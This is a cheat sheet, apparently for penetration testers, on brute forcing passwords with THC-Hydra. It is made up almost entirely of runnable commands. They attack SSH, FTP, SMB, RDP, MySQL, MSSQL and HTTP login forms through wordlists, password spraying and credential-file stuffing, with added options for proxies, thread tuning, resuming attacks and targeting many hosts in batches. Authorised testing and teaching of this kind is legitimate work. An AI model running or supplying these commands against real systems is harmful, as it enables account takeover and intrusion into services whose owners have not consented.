hydra-brute

Hydra Online Password Brute Force Methodology

Hydra (THC-Hydra) is the most classic online brute-force tool. Core advantages:Broad protocol coverage(50+ protocols) + Flexible configuration(supports user/password lists, single user with multiple passwords, multiple users with a single password) + Fast speed(multithreaded concurrency).

Project address:https://github.com/vanhauser-thc/thc-hydra

Phase 1: Basic brute force

# SSH 爆破
hydra -l admin -P passwords.txt ssh://target.com

# FTP 爆破
hydra -l root -P passwords.txt ftp://target.com

# SMB 爆破
hydra -l administrator -P passwords.txt smb://target.com

RDP brute force

hydra -l administrator -P passwords.txt rdp://target.com

MySQL brute force

hydra -l root -P passwords.txt mysql://target.com

## Phase 2: 用户名和密码组合

```bash
# 单用户 + 密码列表
hydra -l admin -P top100.txt ssh://target

# 用户列表 + 单密码（密码喷洒）
hydra -L users.txt -p "P@ssw0rd" ssh://target

# 用户列表 + 密码列表
hydra -L users.txt -P passwords.txt ssh://target

# 用户名=密码 测试
hydra -L users.txt -e nsr ssh://target
# n=空密码, s=用户名作密码, r=反转用户名

# 凭据文件（user:pass 格式）
hydra -C creds.txt ssh://target

Phase 3: HTTP form brute force

# POST 表单爆破
hydra -l admin -P passwords.txt target http-post-form \
  "/login:username=^USER^&password=^PASS^:F=incorrect"

# GET 表单爆破
hydra -l admin -P passwords.txt target http-get-form \
  "/login?user=^USER^&pass=^PASS^:F=fail"

# HTTPS 表单
hydra -l admin -P passwords.txt target https-post-form \
  "/login:user=^USER^&pass=^PASS^:F=error"

# 带 Cookie
hydra -l admin -P passwords.txt target http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=fail:H=Cookie: session=abc"

Phase 4: Advanced options

# 指定端口
hydra -l admin -P passwords.txt -s 2222 ssh://target

# 控制线程数（默认 16）
hydra -l admin -P passwords.txt -t 4 ssh://target

# 控制等待时间
hydra -l admin -P passwords.txt -w 5 ssh://target

# 输出到文件
hydra -l admin -P passwords.txt -o results.txt ssh://target

# 恢复中断的攻击
hydra -R

# 详细输出
hydra -l admin -P passwords.txt -V ssh://target

# 使用代理（HTTP 模块用 HYDRA_PROXY_HTTP；SSH 等非 HTTP 模块用 HYDRA_PROXY）
HYDRA_PROXY=socks5://127.0.0.1:1080 hydra -l admin -P passwords.txt ssh://target

Common combinations for penetration testing

Scenario	Command
SSH quick test	hydra -l root -P top100.txt -t 4 ssh://target
Password spraying	hydra -L users.txt -p "Company2024!" ssh://target
Web login brute force	hydra -l admin -P pass.txt target http-post-form "/login:u=^USER^&p=^PASS^:F=fail"
Database brute force	hydra -l sa -P pass.txt mssql://target
Batch SSH	hydra -L users.txt -P pass.txt -M targets.txt ssh